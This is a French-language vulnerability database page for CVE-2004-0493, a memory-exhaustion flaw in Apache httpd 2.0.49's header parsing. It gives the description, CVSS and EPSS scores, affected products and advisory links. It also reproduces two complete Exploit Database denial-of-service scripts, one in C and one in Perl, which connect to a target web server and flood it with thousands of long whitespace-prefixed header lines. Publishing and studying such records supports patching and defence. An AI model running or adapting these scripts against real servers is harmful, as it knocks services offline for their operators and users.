CVE-2004-0493 : Détail

CVE-2004-0493

90.06%V3
Network
2004-06-30
02h00 +00:00
2021-06-06
08h09 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.4 AV:N/AC:L/Au:N/C:N/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 371

Date de publication : 2004-08-01 22h00 +00:00
Auteur : anonymous
EDB Vérifié : Yes

#include <stdio.h> #include <stdlib.h> #include <sys/wait.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <unistd.h> #define A 0x41 #define PORT 80 struct sockaddr_in hrm; int conn(char *ip) { int sockfd; hrm.sin_family = AF_INET; hrm.sin_port = htons(PORT); hrm.sin_addr.s_addr = inet_addr(ip); bzero(&(hrm.sin_zero),8); sockfd=socket(AF_INET,SOCK_STREAM,0); if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr)))<0) { perror("connect"); exit(0); } return sockfd; } int main(int argc, char *argv[]) { int i,x; char buf[300],a1[8132],a2[50],host[100],content[100]; char *ip=argv[1],*new=malloc(sizeof(int)); sprintf(new,"\r\n"); memset(a1,'\0',8132); memset(host,'\0',100); memset(content,'\0',100); a1[0] = ' '; for(i=1;i<8132;i++) a1[i] = A; if(argc<2) { printf("%s: IP\n",argv[0]); exit(0); } x = conn(ip); printf("[x] Connected to: %s.\n",inet_ntoa(hrm.sin_addr)); sprintf(host,"Host: %s\r\n",argv[1]); sprintf(content,"Content-Length: 50\r\n"); sprintf(buf,"GET / HTTP/1.0\r\n"); write(x,buf,strlen(buf)); printf("[x] Sending buffer..."); for(i=0;i<2000;i++) { write(x,a1,strlen(a1)); write(x,new,strlen(new)); } memset(buf,'\0',300); strcpy(buf,host); strcat(buf,content); for(i=0;i<50;i++) a2[i] = A; strcat(buf,a2); strcat(buf,"\r\n\r\n"); write(x,buf,strlen(buf)); printf("done!\n"); close(x); } // milw0rm.com [2004-08-02]
Exploit Database EDB-ID : 360

Date de publication : 2004-07-21 22h00 +00:00
Auteur : bkbll
EDB Vérifié : Yes

#/usr/bin/perl # #exploit for apache ap_get_mime_headers_core() vuln # #adv is here: http://www.guninski.com/httpd1.html # #version: apache 2 <2.0.49 apache 1 not tested. # #by bkbll bkbll#cnhonker.net http://www.cnhonker.com # #tail -f /var/log/messages #Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd) # use IO::Socket::INET; $host="10.10.10.114"; $port=80; $sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') || die "new error$@\n"; binmode($sock); $hostname="Host: $host"; $buf2='A'x50; $buf4='A'x8183; $len=length($buf2); $buf="GET / HTTP/1.1\r\n"; send($sock,$buf,0) || die "send error:$@\n"; for($i= 0; $i < 2000000; $i++) { $buf=" $buf4\r\n"; send($sock,$buf,0) || die "send error:$@, target maybe have been D.o.S?\n"; } $buf="$hostname\r\n"; $buf.="Content-Length: $len\r\n"; $buf.="\r\n"; $buf.=$buf2."\r\n\r\n"; send($sock,$buf,0) || die "send error:$@\n"; print "Ok, our buffer have send to target \n"; close($sock);

Products Mentioned

Configuraton 0

Avaya>>Converged_communications_server >> Version 2.0

Gentoo>>Linux >> Version 1.4

Trustix>>Secure_linux >> Version 1.5

Trustix>>Secure_linux >> Version 2.0

Trustix>>Secure_linux >> Version 2.1

Configuraton 0

Apache>>Http_server >> Version 2.0.47

Apache>>Http_server >> Version 2.0.48

Apache>>Http_server >> Version 2.0.49

Ibm>>Http_server >> Version 2.0.42

Ibm>>Http_server >> Version 2.0.42.1

Ibm>>Http_server >> Version 2.0.42.2

Ibm>>Http_server >> Version 2.0.47

Ibm>>Http_server >> Version 2.0.47.1

Avaya>>S8300 >> Version r2.0.0

Avaya>>S8500 >> Version r2.0.0

Avaya>>S8700 >> Version r2.0.0

Références

http://www.trustix.org/errata/2004/0039/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://marc.info/?l=bugtraq&m=108853066800184&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/10619
Tags : vdb-entry, x_refsource_BID
http://www.redhat.com/support/errata/RHSA-2004-342.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDKSA-2004:064
Tags : vendor-advisory, x_refsource_MANDRAKE
http://marc.info/?l=bugtraq&m=109181600614477&w=2
Tags : vendor-advisory, x_refsource_HP
http://security.gentoo.org/glsa/glsa-200407-03.xml
Tags : vendor-advisory, x_refsource_GENTOO